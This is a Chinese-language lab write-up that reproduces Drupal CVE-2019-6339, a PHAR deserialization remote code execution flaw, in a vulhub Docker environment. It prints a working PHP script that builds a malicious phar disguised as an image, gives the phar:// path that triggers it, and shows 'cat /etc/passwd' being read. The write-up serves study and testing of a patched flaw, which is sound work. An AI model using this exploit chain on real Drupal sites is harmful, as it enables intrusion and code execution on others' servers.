漏洞介绍

Drupal是一个使用PHP编写的免费开源的Web内容管理框架。

在Drupal 8.6.6之前的8.6.x版本和8.5.9之前的8.5.x版本中存在远程代码执行漏洞。该漏洞是由于文件系统服务中PHAR反序列化处理不当导致的,可以导致远程代码执行。

漏洞范围

Drupal core

7.62之前的7.x版本

8.6.6之前的8.6.x版本

8.5.9之前的8.5.x版本

漏洞靶场

使用vulhub的靶场:

vulhub-master/drupal/CVE-2019-6339

使用环境为drupal 8.5.0

启动靶场环境:

1
docker-compose up -d

服务启动后,访问http://your-ip:8080即可查看到Drupal的安装页面。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。其他配置均默认即可。

image-20250328185850626

image-20250328190010345

安装完成

漏洞原理

2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper议题,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf

在该议题中提到,在PHP中存在一个叫做Stream API,通过注册拓展可以注册相应的伪协议,而phar这个拓展就注册了phar://这个stream wrapper。

知道创宇404实验室安全研究员seaii曾经的研究(https://paper.seebug.org/680/)中表示,所有的文件函数都支持stream wrapper。

也就是说,如果我们找到可控的文件操作函数,其参数可控为phar文件,那么我们就可以通过反序列化执行命令。

在Drupal中,存在file system功能,其中就有一个功能,会把传入的地址做一次is_dir的判断,这里就存在这个问题

drupal-8.5.0/core/modules/system/system.module#L908-L938

直接使用下面的payload生成文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

namespace GuzzleHttp\Psr7{
class FnStream{

public $_fn_close = "phpinfo";

public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
}

namespace{
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new \GuzzleHttp\Psr7\FnStream();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
?>

修改后缀为png之后,传图片到服务端,并在file system中设置

1
phar://./sites/default/files/2019-04/drupal.png

即可触发

漏洞复现

首先,以管理员身份登录并上传头像。头像图片需要是特制的PoC文件(可以参考thezdi/PoC获取PoC):

image-20250328190208745

上传poc文件后保存

image-20250328190321604

Drupal默认将上传的图片存储在/sites/default/files/pictures/<YYYY-MM>/目录下,并保留其原始文件名。这个信息对于漏洞利用很重要。

在Drupal的机制中,设定了这样一条规则。

用户上传的图片文件名将会被保留,如果出现文件名相同的情况,那么文件名后面就会被跟上_0,_1依次递增。

访问http://127.0.0.1:8080/admin/config/media/file-system,在”临时目录”字段中输入之前上传的图片路径,例如:

1
phar://./sites/default/files/pictures/2025-03/blog-ZDI-CAN-7232-cat.jpg

image-20250328190530434

保存配置以触发漏洞。恶意代码的执行将证实漏洞利用成功:

image-20250328190549115

执行cat /etc/passwd命令

也可以vi blog-ZDI-CAN-7232-cat.jpg修改poc以执行其他命令

image-20250328190915435

参考

https://github.com/vulhub/vulhub/blob/master/drupal/CVE-2019-6339/README.zh-cn.md

https://www.zerodayinitiative.com/blog/2019/4/11/a-series-of-unfortunate-images-drupal-1-click-to-rce-exploit-chain-detailed

https://paper.seebug.org/897/

https://www.keysight.com/blogs/en/tech/nwvs/2020/07/23/exploiting-php-phar-deserialization-vulnerabilities-part-1